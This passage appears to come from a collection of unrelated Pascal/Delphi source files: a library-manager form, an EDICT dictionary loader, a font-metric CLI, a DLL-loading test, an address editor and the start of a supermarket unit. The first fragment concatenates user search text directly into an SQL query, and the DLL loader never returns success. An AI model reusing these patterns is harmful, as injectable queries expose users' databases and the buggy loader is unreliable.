AQuery := AQuery + '(UPPER(' + Columns[ACurrent.Tag] + ') LIKE "%' + WideUpperCase(seFilterSearch.Text) + '%")';
if AIndex < ACount then
AQuery := AQuery + ' OR ';
end;
end;
AQuery := AQuery + ';';
PopulateListByQuery(AQuery);
end;
procedure TMainForm.miAboutClick(Sender: TObject);
begin
ShowModalForm(TAboutForm);
end;
procedure TMainForm.miAddClick(Sender: TObject);
begin
FMode := THomeLibraryEditorMode(TMenuItem(Sender).Tag);
if (FMode = emModify) and (slvMain.Selected = nil) then Exit;
ShowModalForm(TEditorForm);
end;
procedure TMainForm.miDeleteClick(Sender: TObject);
var
AItem: TMySkinListViewItem;
S: WideString;
begin
AItem := slvMain.Selected;
if AItem = nil then Exit;
S := SQL_RemoveValue + IntToStr(AItem.Tag) + ';';
if FBase.ExecQuery(S) then
PopulateAll;
UpdateInformation;
end;
procedure TMainForm.miLoadBaseClick(Sender: TObject);
begin
if fdOpen.Execute(False, Handle) then
LoadDataBase(fdOpen.FileName);
end;
procedure TMainForm.miQuitClick(Sender: TObject);
begin
Close;
end;
procedure TMainForm.actFilterExecute(Sender: TObject);
begin
sddFilter.DropDown;
end;
procedure TMainForm.AddBook(ATable: TMySqlTable);
var
AItem: TMySkinListViewItem;
I: Integer;
begin
AItem := slvMain.Add;
AItem.Tag := ATable.ReadInteger(Columns[0]);
for I := 1 to ColumnsCount - 1 do
AItem.Add(ATable.ReadString(I));
end;
procedure TMainForm.PopulateAll;
begin
PopulateListbyQuery(SQL_SelectAllValues);
end;
procedure TMainForm.PopulateDistinctive(ABox: TMySkinComboBox; AColumnIndex: Integer);
var
ATable: TMySqlTable;
AQuery: WideString;
S: WideString;
begin
ABox.Items.Clear;
AQuery := Format(SQL_SelectDistinctiveValues, [Columns[AColumnIndex]]);
if FBase.ExecQuery(AQuery, ATable) then
try
ABox.Items.BeginUpdate;
repeat
S := ATable.ReadString(0);
if S <> '' then
ABox.AddItem(S);
until not ATable.NextRecord;
ABox.Items.EndUpdate;
finally
ATable.Free;
end;
end;
procedure TMainForm.PopulateListByQuery(const AQuery: WideString);
var
ATable: TMySqlTable;
begin
spbWaiting.StartProgress();
try
slvMain.Clear;
if FBase.ExecQuery(AQuery, ATable) then
try
slvMain.BeginUpdate;
repeat
AddBook(ATable);
until not ATable.NextRecord;
slvMain.EndUpdate;
finally
ATable.Free;
UpdateInformation;
end;
finally
spbWaiting.StopProgress;
end;
end;
procedure TMainForm.UpdateInformation;
begin
slbBaseName.Caption := 'Имя файла базы данных: ' + FBaseName;
slbBaseSize.Caption := 'Размер файла базы данных: ' + IntToStr(WideFileSize(FBaseName) div 1024) + ' кб';
slbBooksCount.Caption := 'Количество книг: ' + IntToStr(slvMain.Items.Count);
end;
procedure TMainForm.ShowModalForm(AForm: TModalFormClass);
begin
with AForm.Create(Self) do
try
ShowModal;
finally
Free;
end;
end;
procedure TMainForm.slvMainDblClick(Sender: TObject);
begin
miAddClick(Sender);
end;
function TMainForm.slvMainGetItemGroupName(Sender: TObject;
AItem: TMySkinListViewItem; var AName: WideString): Boolean;
begin
if AItem.Count >= 6 then
AName := AItem.Strings[5];
if AName = '' then
AName := 'Без категории';
Result := True;
end;
procedure TMainForm.slvMainKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if Key = VK_RETURN then
miAddClick(Sender);
end;
end.
|
unit Edict;
{ Basic in-memory EDICT representation. Quite slow in loading and heavy
in keeping around, but fast and works well if you just need a simple task done.
For daily use, consider converting EDICT to some sort of database format.
No deflexion support. }
//{$DEFINE NO_KANA_KANJI_LINK}
{ Speeds up load and simplifies things, but ignores the info on which kana can
be used with which kanji.
I'll maybe delete this option when I figure out if it really slows things down
or adds to memory, and how to mitigate that. }
interface
uses SysUtils, Classes, UniStrUtils, JWBIO, EdictReader, BalancedTree;
type
{ We can't use the same entries as EdictReader as those are optimized for reuse
and very memory heavy }
TKanjiEntry = EdictReader.TKanjiEntry; //this one is ok
PKanjiEntry = EdictReader.PKanjiEntry;
TKanaEntry = record
kana: UnicodeString;
{$IFNDEF NO_KANA_KANJI_LINK}
kanji: array of PKanjiEntry;
{$ENDIF}
markers: TMarkers;
{$IFNDEF NO_KANA_KANJI_LINK}
function GetKanjiIndex(const AKanji: string): integer;
function MatchesKanji(const AKanji: string): boolean;
{$ENDIF}
end;
PKanaEntry = ^TKanaEntry;
TSenseEntry = EdictReader.TSenseEntry;
PSenseEntry = EdictReader.PSenseEntry;
TEdictEntry = record
ref: string;
kanji: array of TKanjiEntry;
kana: array of TKanaEntry;
senses: array of TSenseEntry;
pop: boolean;
function GetKanjiIndex(const AKanji: UnicodeString): integer;
function FindKanjiEntry(const AKanji: UnicodeString): PKanjiEntry;
function GetKanaIndex(const AKana: UnicodeString): integer;
function AllSenses: string;
end;
PEdictEntry = ^TEdictEntry;
TEdictEntries = array of PEdictEntry;
{ FExpr must not be nil. }
TExprItem = class(TBinTreeItem)
protected
FEntries: TEdictEntries;
FExpr: string; //hopefully shared with KanjiEntry
public
constructor Create(AEntry: PEdictEntry; const AExpr: string);
function CompareData(const a):Integer; override;
function Compare(a:TBinTreeItem):Integer; override;
procedure Copy(ToA:TBinTreeItem); override;
function GetEntryIndex(const AEntry: PEdictEntry): integer;
procedure AddEntry(const AEntry: PEdictEntry);
end;
TSourceFormat = (sfEdict, sfCEdict);
TEdict = class
protected
FEntries: array of TEdictEntry;
FEntryCount: integer;
FExprTree: TBinTree;
function AllocEntry: PEdictEntry;
procedure RegisterEntry(const AEntry: PEdictEntry);
procedure AddOrSearch(const AEntry: PEdictEntry; AKey: string);
public
constructor Create;
destructor Destroy; override;
procedure Clear;
procedure LoadFromFile(const AFilename: string;
ASourceFormat: TSourceFormat = sfEdict);
procedure LoadFromStream(const AStream: TStream;
ASourceFormat: TSourceFormat = sfEdict);
procedure Load(AInput: TStreamDecoder; ASourceFormat: TSourceFormat);
function FindEntry(const expr: UnicodeString): PEdictEntry; overload;
function FindEntry(const expr, read: UnicodeString): PEdictEntry; overload;
function FindEntries(const expr: UnicodeString): TEdictEntries; overload;
function FindEntries(const expr: TStringArray): TEdictEntries; overload;
property EntryCount: integer read FEntryCount;
end;
procedure MergeEntries(var Entries: TEdictEntries; const NewEntries: TEdictEntries);
implementation
uses WideStrUtils;
{$IFNDEF NO_KANA_KANJI_LINK}
function TKanaEntry.GetKanjiIndex(const AKanji: string): integer;
var i: integer;
begin
Result := -1;
for i := 0 to Length(kanji)-1 do
if kanji[i].kanji=AKanji then begin
Result := i;
break;
end;
end;
function TKanaEntry.MatchesKanji(const AKanji: string): boolean;
begin
Result := (Length(kanji)<=0) or (GetKanjiIndex(AKanji)>=0);
end;
{$ENDIF}
function TEdictEntry.GetKanjiIndex(const AKanji: UnicodeString): integer;
var i: integer;
begin
Result := -1;
for i := 0 to Length(kanji)-1 do
if kanji[i].kanji=AKanji then begin
Result := i;
break;
end;
end;
function TEdictEntry.FindKanjiEntry(const AKanji: UnicodeString): PKanjiEntry;
var i: integer;
begin
Result := nil;
for i := 0 to Length(kanji)-1 do
if kanji[i].kanji=AKanji then begin
Result := @kanji[i];
break;
end;
end;
function TEdictEntry.GetKanaIndex(const AKana: UnicodeString): integer;
var i: integer;
begin
Result := -1;
for i := 0 to Length(kana)-1 do
if kana[i].kana=AKana then begin
Result := i;
break;
end;
end;
function TEdictEntry.AllSenses: string;
var i: integer;
begin
if Length(Self.senses)<=0 then
Result := ''
else
if Length(Self.senses)=1 then
Result := Self.senses[0].text //no numbering
else begin
Result := '';
for i := 0 to Length(Self.senses)-1 do
Result := Result + '('+IntToStr(i+1)+') '+self.Senses[i].text+'; ';
SetLength(Result, Length(Result)-2);
end;
end;
constructor TExprItem.Create(AEntry: PEdictEntry; const AExpr: string);
begin
inherited Create;
SetLength(Self.FEntries, 1);
Self.FEntries[0] := AEntry;
Self.FExpr := AExpr;
end;
//Only PWideChar must be passed to CompareData.
function TExprItem.CompareData(const a):Integer;
begin
Result := WStrComp(PWideChar(Self.FExpr), PWideChar(a));
end;
function TExprItem.Compare(a:TBinTreeItem):Integer;
begin
Result := CompareData(TExprItem(a).FExpr);
end;
procedure TExprItem.Copy(ToA:TBinTreeItem);
begin
TExprItem(ToA).FEntries := System.Copy(Self.FEntries);
TExprItem(ToA).FExpr := Self.FExpr;
end;
function TExprItem.GetEntryIndex(const AEntry: PEdictEntry): integer;
var i: integer;
begin
Result := -1;
for i := 0 to Length(FEntries)-1 do
if FEntries[i]=AEntry then begin
Result := i;
break;
end;
end;
procedure TExprItem.AddEntry(const AEntry: PEdictEntry);
begin
if GetEntryIndex(AEntry)>=0 then exit;
SetLength(FEntries, Length(FEntries)+1);
FEntries[Length(FEntries)-1] := AEntry;
end;
constructor TEdict.Create;
begin
inherited;
FExprTree := TBinTree.Create;
end;
destructor TEdict.Destroy;
begin
FreeAndNil(FExprTree);
inherited;
end;
procedure TEdict.Clear;
begin
FExprTree.Clear;
SetLength(FEntries, 0);
FEntryCount := 0;
end;
procedure TEdict.LoadFromFile(const AFilename: string;
ASourceFormat: TSourceFormat = sfEdict);
var inp: TStreamDecoder;
begin
inp := OpenTextFile(AFilename);
try
Load(inp, ASourceFormat);
finally
FreeAndNil(inp);
end;
end;
procedure TEdict.LoadFromStream(const AStream: TStream;
ASourceFormat: TSourceFormat = sfEdict);
var inp: TStreamDecoder;
begin
inp := OpenStream(AStream, {owns=}false);
try
Load(inp, ASourceFormat);
finally
FreeAndNil(inp);
end;
end;
procedure TEdict.Load(AInput: TStreamDecoder; ASourceFormat: TSourceFormat);
var ed: TEdictArticle;
entry: PEdictEntry;
rec_count: integer;
c: char;
i: integer;
{$IFNDEF NO_KANA_KANJI_LINK}
j: integer;
{$ENDIF}
ln: string;
begin
Clear;
{ We keep a list of records directly, so every reallocation will break pointers.
Let's keep things simple and just allocate memory once.
For that, count the (maximal possible) number of records. }
rec_count := 0;
while AInput.ReadChar(c) do
if c=#$0A then Inc(rec_count);
Inc(rec_count,10); //we're generous
SetLength(FEntries, rec_count);
AInput.Rewind();
while AInput.ReadLn(ln) do begin
ln := Trim(ln);
if ln='' then continue;
case ASourceFormat of
sfEdict: ParseEdict2Line(ln, @ed);
sfCEdict: ParseCCEdictLine(ln, @ed);
end;
entry := AllocEntry;
//Copy entry
entry.ref := ed.ref;
SetLength(entry.kanji, ed.kanji_used);
for i := 0 to ed.kanji_used-1 do
entry.kanji[i] := ed.kanji[i];
SetLength(entry.kana, ed.kana_used);
for i := 0 to ed.kana_used-1 do begin
entry.kana[i].kana := ed.kana[i].kana;
entry.kana[i].markers := ed.kana[i].markers;
{$IFNDEF NO_KANA_KANJI_LINK}
SetLength(entry.kana[i].kanji, ed.kana[i].kanji_used);
for j := 0 to ed.kana[i].kanji_used-1 do
entry.kana[i].kanji[j] := entry.FindKanjiEntry(ed.kana[i].kanji[j]);
//TODO: Handle the case where it's nil
{$ENDIF}
end;
SetLength(entry.senses, ed.senses_used);
for i := 0 to ed.senses_used-1 do
entry.senses[i] := ed.senses[i];
entry.pop := ed.pop;
RegisterEntry(entry);
end;
end;
function TEdict.AllocEntry: PEdictEntry;
begin
{ Someday we might want to do an automatic reallocation here in AllocEntry,
but this is not that day -- see comments in Load() }
if FEntryCount>=Length(FEntries)-1 then
raise Exception.Create('Cannot allocate one more entry.');
Result := @FEntries[FEntryCount];
Inc(FEntryCount);
end;
{ Adds entry to various indexes }
procedure TEdict.RegisterEntry(const AEntry: PEdictEntry);
var i: integer;
begin
for i := 0 to Length(AEntry.kanji)-1 do
AddOrSearch(AEntry, AEntry.kanji[i].kanji);
for i := 0 to Length(AEntry.kana)-1 do
AddOrSearch(AEntry, AEntry.kana[i].kana);
end;
procedure TEdict.AddOrSearch(const AEntry: PEdictEntry; AKey: string);
var item, exitem: TExprItem;
begin
item := TExprItem.Create(AEntry, AKey);
exitem := TExprItem(FExprTree.AddOrSearch(item));
if exitem<>item then begin
FreeAndNil(item);
exitem.AddEntry(AEntry);
end;
end;
{ Searches for the first entry matching expr either as kanji or kana }
function TEdict.FindEntry(const expr: UnicodeString): PEdictEntry;
var item: TBinTreeItem;
begin
item := FExprTree.SearchData(expr);
if item=nil then
Result := nil
else
Result := TExprItem(item).FEntries[0]; //guaranteed to have at least one
end;
{ Searches for the first entry matching exactly this expression and reading }
function TEdict.FindEntry(const expr, read: UnicodeString): PEdictEntry;
var item: TExprItem;
i, ki: integer;
begin
item := TExprItem(FExprTree.SearchData(expr));
if item=nil then begin
Result := nil;
exit;
end;
Result := nil;
for i := 0 to Length(item.FEntries)-1 do begin
if item.FEntries[i].GetKanjiIndex(expr)<0 then continue; //no kanji
ki := item.FEntries[i].GetKanaIndex(read);
if ki<0 then continue; //no kana
if not item.FEntries[i].kana[ki].MatchesKanji(expr) then
continue; //no kanji-kana match, although this is rare I guess
Result := item.FEntries[i];
break;
end;
end;
{ Searches for all entries matching expr either as kanji or kana }
function TEdict.FindEntries(const expr: UnicodeString): TEdictEntries;
var item: TBinTreeItem;
begin
item := FExprTree.SearchData(expr);
if item=nil then begin
SetLength(Result, 0);
exit;
end;
Result := System.Copy(TExprItem(item).FEntries);
end;
{ Locates given entry index in an array of entries }
function GetEntryIndex(const entries: TEdictEntries; const entry: PEdictEntry): integer;
var i: integer;
begin
Result := -1;
for i := 0 to Length(entries)-1 do
if entries[i]=entry then begin
Result := i;
break;
end;
end;
procedure MergeEntries(var Entries: TEdictEntries; const NewEntries: TEdictEntries);
var i: integer;
begin
for i := 0 to Length(NewEntries)-1 do begin
if GetEntryIndex(Entries, NewEntries[i])>=0 then
continue;
SetLength(Entries, Length(Entries)+1);
Entries[Length(Entries)-1] := NewEntries[i];
end;
end;
{ Returns all unique entries which match given expression }
function TEdict.FindEntries(const expr: TStringArray): TEdictEntries;
var i: integer;
entries: TEdictEntries;
begin
SetLength(Result, 0);
for i := 0 to Length(expr)-1 do begin
entries := FindEntries(expr[i]);
MergeEntries(Result, entries);
end;
end;
end.
|
program gspw;
{$mode objfpc}{$H+}
uses
cthreads,
Interfaces,
Classes,
SysUtils,
CustApp,
Graphics;
type
{ TGetStringWidth }
TGetStringWidth = class(TCustomApplication)
protected
procedure DoRun; override;
public
constructor Create(TheOwner: TComponent); override;
destructor Destroy; override;
procedure WriteHelp; virtual;
end;
{ TGetStringWidth }
procedure TGetStringWidth.DoRun;
var
fn: string;
fs: integer;
s: string;
bmp: TBitmap;
sw: integer;
sh: integer;
e: string;
begin
// parse parameters
if HasOption('h', 'help') then
begin
WriteHelp;
Terminate;
Exit;
end;
if HasOption('fn') then
begin
fn := GetOptionValue('fn');
end;
if HasOption('fs') then
begin
fs := StrToIntDef(GetOptionValue('fs'), -1);
end;
if HasOption('s') then
begin
s := GetOptionValue('s');
end;
if HasOption('e') then
begin
e := GetOptionValue('e');
end;
if (fn = '') or (fs = -1) or (s = '') or (e = '') then
begin
WriteHelp;
Terminate;
Exit;
end;
if (e <> 'w') and (e <> 'h') then
begin
WriteHelp;
Terminate;
Exit;
end;
bmp := TBitmap.Create;
bmp.Canvas.Font.Name := fn;
bmp.Canvas.Font.Size := fs;
sw := bmp.Canvas.GetTextWidth(s);
sh := bmp.Canvas.GetTextHeight(s);
if e = 'w' then
begin
Write(IntToStr(sw));
end
else if e = 'h' then
begin
Write(IntToStr(sh));
end;
bmp.Free;
Terminate;
end;
constructor TGetStringWidth.Create(TheOwner: TComponent);
begin
inherited Create(TheOwner);
StopOnException := True;
end;
destructor TGetStringWidth.Destroy;
begin
inherited Destroy;
end;
procedure TGetStringWidth.WriteHelp;
begin
{ add your help code here }
writeln('Usage: -h');
WriteLn(' -fn <font name>');
WriteLn(' -fs <font size>');
WriteLn(' -s <string to be tested>');
WriteLn(' -e <export w:width, h:height>');
end;
var
Application: TGetStringWidth;
{$R *.res}
begin
Application := TGetStringWidth.Create(nil);
Application.Run;
Application.Free;
end.
|
program fpcprog; {$mode objfpc}{$H+}
uses
SysUtils, DynLibs;
var h: TLibHandle;
type
TProc = procedure(); cdecl;
var
PrintBye: TProc;
const
GO_LIB = 'goDLL.dll';
PROC1 = 'PrintBye';
function LoadLib: boolean;
var p: pointer;
begin
h := LoadLibrary(GO_LIB);
writeln('handle: ', h);
p := GetProcAddress(h, PROC1);
if p = nil then begin
writeln('error getting procedure address: ', PROC1);
result := false;
end;
PrintBye := TProc(p);
end;
procedure UnloadLib;
begin
UnloadLibrary(h);
end;
var
c: char;
begin
writeln('Loading library: ', GO_LIB);
if LoadLib then begin
PrintBye();
end;
writeln('Press enter to exit');
readln;
writeln('Unloading library: ', GO_LIB);
UnloadLib;
// problem: if you put a readln here at the end of the program after
// unloadlib, the program will still exit before any readln is processed
// (enter key is pressed) possible causes?? fpc stdout conflicting with go
// stdout?? go runtime?
end.
|
unit BsEditPlace;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, cxLookAndFeelPainters, DB, cxMaskEdit, cxDropDownEdit,
cxLookupEdit, cxDBLookupEdit, cxDBLookupComboBox, cxLabel, cxControls,
cxContainer, cxEdit, cxTextEdit, ActnList, FIBDataSet, pFIBDataSet,
FIBQuery, pFIBQuery, pFIBStoredProc, FIBDatabase, pFIBDatabase, StdCtrls,
cxButtons, AdrEdit, cxCheckBox, BsAdrSpr, BsAdrConsts, BaseTypes;
type
TfrmEditPlace = class(TEditForm)
btnOk: TcxButton;
btnCancel: TcxButton;
EditDB: TpFIBDatabase;
eTrRead: TpFIBTransaction;
eTrWrite: TpFIBTransaction;
eStoredProc: TpFIBStoredProc;
EDSet: TpFIBDataSet;
ActionList1: TActionList;
ActOk: TAction;
ActCancel: TAction;
PlaceEdit: TcxTextEdit;
lblPlace: TcxLabel;
lblTypepPlace: TcxLabel;
lblRegion: TcxLabel;
TypePlaceBox: TcxLookupComboBox;
RegionBox: TcxLookupComboBox;
btnTypePlace: TcxButton;
btnRegion: TcxButton;
TypeRegionDSet: TpFIBDataSet;
RegionDSet: TpFIBDataSet;
TypeRegionDS: TDataSource;
RegionDS: TDataSource;
lblDistrict: TcxLabel;
DistrictBox: TcxLookupComboBox;
btnDistrict: TcxButton;
DistrictDSet: TpFIBDataSet;
DistrictDS: TDataSource;
lblZip: TcxLabel;
ZipBegEdit: TcxTextEdit;
cxLabel1: TcxLabel;
ZipEndEdit: TcxTextEdit;
chZipEqual: TcxCheckBox;
procedure FormShow(Sender: TObject);
procedure ActCancelExecute(Sender: TObject);
procedure ActOkExecute(Sender: TObject);
procedure ZipEndEditKeyPress(Sender: TObject; var Key: Char);
procedure ZipBegEditKeyPress(Sender: TObject; var Key: Char);
procedure chZipEqualPropertiesChange(Sender: TObject);
procedure ZipBegEditPropertiesChange(Sender: TObject);
procedure TypePlaceBoxPropertiesChange(Sender: TObject);
procedure RegionBoxPropertiesChange(Sender: TObject);
procedure DistrictBoxPropertiesChange(Sender: TObject);
procedure btnTypePlaceClick(Sender: TObject);
procedure btnRegionClick(Sender: TObject);
procedure btnDistrictClick(Sender: TObject);
private
{ Private declarations }
function CheckData:Boolean;
public
{ Public declarations }
end;
var
frmEditPlace: TfrmEditPlace;
implementation
uses pFIBProps;
{$R *.dfm}
procedure TfrmEditPlace.FormShow(Sender: TObject);
begin
try
TypeRegionDSet.Close;
TypeRegionDSet.SQLs.SelectSQL.Text:=PlaceTypeSqlText;
TypeRegionDSet.Open;
RegionDSet.Close;
RegionDSet.SQLs.SelectSQL.Text:=RegionSqlText+'('+IntToStr(AddInfo[0])+')'+OrderBy+'NAME_REGION'+CollateWin1251;
RegionDSet.Open;
DistrictDSet.Close;
DistrictDSet.SQLs.SelectSQL.Text:=DistrictSqlText+'('+IntToStr(AddInfo[1])+')'+OrderBy+'NAME_DISTRICT'+CollateWin1251;
DistrictDSet.Open;
RegionBox.EditValue:=AddInfo[1];
if not VarIsNull(AddInfo[2]) then DistrictBox.EditValue:=AddInfo[2];
if not VarIsNull(KeyField) then
begin
EDSet.Close;
EDSet.SQLs.SelectSQL.Text:=frmPlaceSqlText+'('+IntToStr(KeyField)+')';
EDSet.Open;
TypePlaceBox.EditValue:=EDSet['ID_PLACE_TYPE'];
PlaceEdit.Text:=EDSet['NAME_PLACE'];
if not VarIsNull(EDSet['ID_DISTRICT']) then DistrictBox.EditValue:=EDSet['ID_DISTRICT'];
if not VarIsNull(EDSet['ZIP_BEG']) then ZipBegEdit.Text:=IntToStr(EDSet['ZIP_BEG']);
if not VarIsNull(EDSet['ZIP_END']) then ZipEndEdit.Text:=IntToStr(EDSet['ZIP_END']);
Self.Caption:='Змінити нас. пункт';
end
else Self.Caption:='Додати нас. пункт';
except on E:Exception
do agMessageDlg(WarningText, E.Message, mtInformation, [mbOK]);
end;
end;
function TfrmEditPlace.CheckData:Boolean;
begin
Result:=True;
if PlaceEdit.Text='' then
begin
PlaceEdit.Style.Color:=clRed;
agMessageDlg(WarningText, 'Ви не заповнили поле "Нас. пункт"!', mtInformation, [mbOK]);
Result:=False;
end;
if VarIsNull(TypePlaceBox.EditValue) then
begin
TypePlaceBox.Style.Color:=clRed;
agMessageDlg(WarningText, 'Ви не обрали тип нас. пункту!', mtInformation, [mbOK]);
Result:=False;
end;
if VarIsNull(RegionBox.EditValue) then
begin
RegionBox.Style.Color:=clRed;
agMessageDlg(WarningText, 'Ви не обрали область!', mtInformation, [mbOK]);
Result:=False;
end;
if (((ZipBegEdit.Text='') and (ZipEndEdit.Text<>'')) or
((ZipBegEdit.Text<>'') and (ZipEndEdit.Text=''))) then
begin
ZipBegEdit.Style.Color:=clRed;
ZipEndEdit.Style.Color:=clRed;
agMessageDlg(WarningText, 'Вкажіть повністю діапозон!', mtInformation, [mbOK]);
Result:=False;
end;
if (((ZipBegEdit.Text<>'') and (ZipEndEdit.Text<>'')) and
(StrToInt(ZipBegEdit.Text)>StrToInt(ZipEndEdit.Text))) then
begin
ZipBegEdit.Style.Color:=clRed;
ZipEndEdit.Style.Color:=clRed;
agMessageDlg(WarningText, 'Початок діапозону не можу перевищувати кінець!', mtInformation, [mbOK]);
Result:=False;
end;
end;
procedure TfrmEditPlace.ActCancelExecute(Sender: TObject);
begin
CloseConnect;
ModalResult:=mrCancel;
end;
procedure TfrmEditPlace.ActOkExecute(Sender: TObject);
begin
if CheckData then
begin
try
eTrWrite.StartTransaction;
eStoredProc.StoredProcName:='ADR_PLACE_IU';
eStoredProc.Prepare;
eStoredProc.ParamByName('ID_P').AsVariant:=KeyField;
eStoredProc.ParamByName('NAME_PLACE').AsString:=PlaceEdit.Text;
eStoredProc.ParamByName('ID_REGION').AsInteger:=RegionBox.EditValue;
eStoredProc.ParamByName('ID_PLACE_TYPE').AsInteger:=TypePlaceBox.EditValue;
eStoredProc.ParamByName('ID_DISTRICT').AsVariant:=DistrictBox.EditValue;
eStoredProc.ExecProc;
ReturnId:=eStoredProc.FieldByName('ID_PLACE').AsInteger;
if ((ZipBegEdit.Text<>'') and (ZipEndEdit.Text<>'')) then
begin
eStoredProc.StoredProcName:='ADR_ZIP_PLACE_IU';
eStoredProc.Prepare;
eStoredProc.ParamByName('ID_PLACE').AsInteger:=ReturnId;
eStoredProc.ParamByName('ZIP_BEG').AsInteger:=StrToInt(ZipBegEdit.Text);
eStoredProc.ParamByName('ZIP_END').AsInteger:=StrToInt(ZipEndEdit.Text);
eStoredProc.ExecProc;
end;
eTrWrite.Commit;
ModalResult:=mrOk;
except on E:Exception
do begin
agMessageDlg(WarningText, E.Message, mtInformation, [mbOK]);
eTrWrite.Rollback;
end;
end;
end;
end;
procedure TfrmEditPlace.ZipEndEditKeyPress(Sender: TObject; var Key: Char);
begin
if ((Key in ['0'..'9']) or (Key=#8)) then ZipEndEdit.Properties.ReadOnly:=False
else ZipEndEdit.Properties.ReadOnly:=True;
end;
procedure TfrmEditPlace.ZipBegEditKeyPress(Sender: TObject; var Key: Char);
begin
if ((Key in ['0'..'9']) or (Key=#8)) then ZipBegEdit.Properties.ReadOnly:=False
else ZipBegEdit.Properties.ReadOnly:=True;
end;
procedure TfrmEditPlace.chZipEqualPropertiesChange(Sender: TObject);
begin
ZipEndEdit.Enabled:=not chZipEqual.Checked;
if chZipEqual.Checked then ZipEndEdit.Text:=ZipBegEdit.Text;
end;
procedure TfrmEditPlace.ZipBegEditPropertiesChange(Sender: TObject);
begin
if chZipEqual.Checked then ZipEndEdit.Text:=ZipBegEdit.EditingText;
end;
procedure TfrmEditPlace.TypePlaceBoxPropertiesChange(Sender: TObject);
begin
GlobalBoxFilter(TypePlaceBox, 'NAME_FULL');
end;
procedure TfrmEditPlace.RegionBoxPropertiesChange(Sender: TObject);
begin
GlobalBoxFilter(RegionBox, 'NAME_REGION');
end;
procedure TfrmEditPlace.DistrictBoxPropertiesChange(Sender: TObject);
begin
GlobalBoxFilter(DistrictBox, 'NAME_DISTRICT');
end;
procedure TfrmEditPlace.btnTypePlaceClick(Sender: TObject);
var sParam:TSpravParams;
frm:TfrmSprav;
begin
sParam.FormCaption := 'Довідник типів нас. пунктів';
sParam.SelectText := TypeRegionDSet.SQLs.SelectSQL.Text;
sParam.NameFields := 'Name_Full,ID_TYPE_PLACE';
sParam.FieldsCaption := 'Тип нас. пункту';
sParam.KeyField := 'ID_TYPE_PLACE';
sParam.ReturnFields := 'ID_TYPE_PLACE,Name_Full';
sParam.FilterFields:='Name_Full';
sParam.FilterCaptions:='Тип нас. пункту';
sParam.DbHandle:=EditDB.Handle;
sParam.frmButtons:=[fbRefresh,fbSelect,fbExit];
frm:=TfrmSprav.Create(Self, sParam);
if frm.ShowModal=mrOk then
begin
if TypeRegionDSet.Active then TypeRegionDSet.Close;
TypeRegionDSet.Open;
TypePlaceBox.EditValue:=frm.Res[0];
end;
frm.Free;
end;
procedure TfrmEditPlace.btnRegionClick(Sender: TObject);
var sParam:TSpravParams;
frm:TfrmSprav;
begin
sParam.FormCaption := 'Довідник областей';
sParam.SelectText := RegionDSet.SQLs.SelectSQL.Text;
sParam.NameFields := 'Name_Region,Id_Region';
sParam.FieldsCaption := 'Область';
sParam.KeyField := 'Id_Region';
sParam.ReturnFields := 'Id_Region,Name_Region';
sParam.FilterFields:='Name_Region';
sParam.FilterCaptions:='Назва області';
sParam.DbHandle:=EditDB.Handle;
sParam.NameClass:='TfrmEditRegion';
sParam.DeleteProcName:='ADR_REGION_D';
sParam.AddInfo:=AddInfo[0];
sParam.frmButtons:=[fbAdd,fbModif,fbDelete,fbRefresh,fbSelect,fbExit];
frm:=TfrmSprav.Create(Self, sParam);
if frm.ShowModal=mrOk then
begin
if RegionDSet.Active then RegionDSet.Close;
RegionDSet.Open;
RegionBox.EditValue:=frm.Res[0];
end;
frm.Free;
end;
procedure TfrmEditPlace.btnDistrictClick(Sender: TObject);
var sParam:TSpravParams;
frm:TfrmSprav;
begin
sParam.FormCaption := 'Довідник районів';
sParam.SelectText := DistrictDSet.SQLs.SelectSQL.Text;
sParam.NameFields := 'Name_District,Id_District';
sParam.FieldsCaption := 'Район';
sParam.KeyField := 'Id_District';
sParam.ReturnFields := 'Id_District,Name_District';
sParam.FilterFields:='Name_District';
sParam.FilterCaptions:='Назва раойну';
sParam.DbHandle:=EditDB.Handle;
sParam.DeleteProcName:='ADR_DISTRICT_D';
sParam.AddInfo:=VarArrayCreate([0, 1], varVariant);
sParam.AddInfo[0]:=AddInfo[0];
sParam.AddInfo[1]:=AddInfo[1];
sParam.NameClass:='TfrmEditDistrict';
sParam.frmButtons:=[fbAdd,fbModif,fbDelete,fbRefresh,fbSelect,fbExit];
frm:=TfrmSprav.Create(Self, sParam);
if frm.ShowModal=mrOk then
begin
if DistrictDSet.Active then DistrictDSet.Close;
DistrictDSet.Open;
DistrictBox.EditValue:=frm.Res[0];
end;
frm.Free;
end;
initialization
RegisterClass(TfrmEditPlace);
end.
|
unit NewFrontiers.GUI.AutoBind;
interface
uses Classes, System.Rtti, NewFrontiers.GUI.Binding;
type
/// <summary>
/// Diese Klasse kann verwendet werden um die Binding-Group automatisch
/// einrichten zu lassen. Es wird nach Controls gesucht, deren Name einer
/// Eigenschaft (Property) des Context-Objekts entspricht. Es wird das
/// Standard-Binding für dieses Control verwendet.
/// </summary>
TAutoBind = class
protected
_context: TObject;
_bindingGroup: TBindingGroup;
_typeInfo: TRttiInstanceType;
procedure addToBindingGroup(aParentControl: TComponent);
public
/// <summary>
/// Das Context-Objekt gegen das die Eingabefelder gebunden werden soll
/// </summary>
property Context: TObject read _context write _context;
/// <summary>
/// Durchsucht das Parent-Control und stellt die Bindings her
/// </summary>
procedure setup(aParentControl: TComponent);
end;
implementation
uses NewFrontiers.Reflection, Vcl.Controls;
{ TAutoBind }
procedure TAutoBind.addToBindingGroup(aParentControl: TComponent);
var i: integer;
curComponent: TComponent;
curProperty: TRttiProperty;
begin
for i := 0 to aParentControl.ComponentCount-1 do
begin
curComponent := aParentControl.Components[i];
// Falls es kein Control ist können wir es überspringen
if (not (curComponent is TControl)) then continue;
// Passende Property suchen
for curProperty in _typeInfo.GetProperties do
begin
if (curComponent.Name = curProperty.Name) then
begin
_bindingGroup.addBinding(curComponent as TControl, curProperty.Name);
break;
end;
end;
// Rekursion
addToBindingGroup(curComponent);
end;
end;
procedure TAutoBind.setup(aParentControl: TComponent);
begin
_bindingGroup := TBindingGroup.Create;
_typeInfo := TReflectionManager.getInfoForClass(Context.ClassType);
addToBindingGroup(aParentControl);
_bindingGroup.Context := Context;
end;
end.
|
unit Supermarkt;
interface
uses System.SysUtils, System.Variants,
System.Classes, System.Generics.Collections, Sortiment, Kunden, Kassensystem, Hilfsfunktionen;
type
TSupermarkt = class
private
FSortiment : TSortiment;
FKassenSystem : TKassenSystem;
FKundenVerwalter: TKundenVerwalter;
FUhrzeit : integer;
FTag : integer;
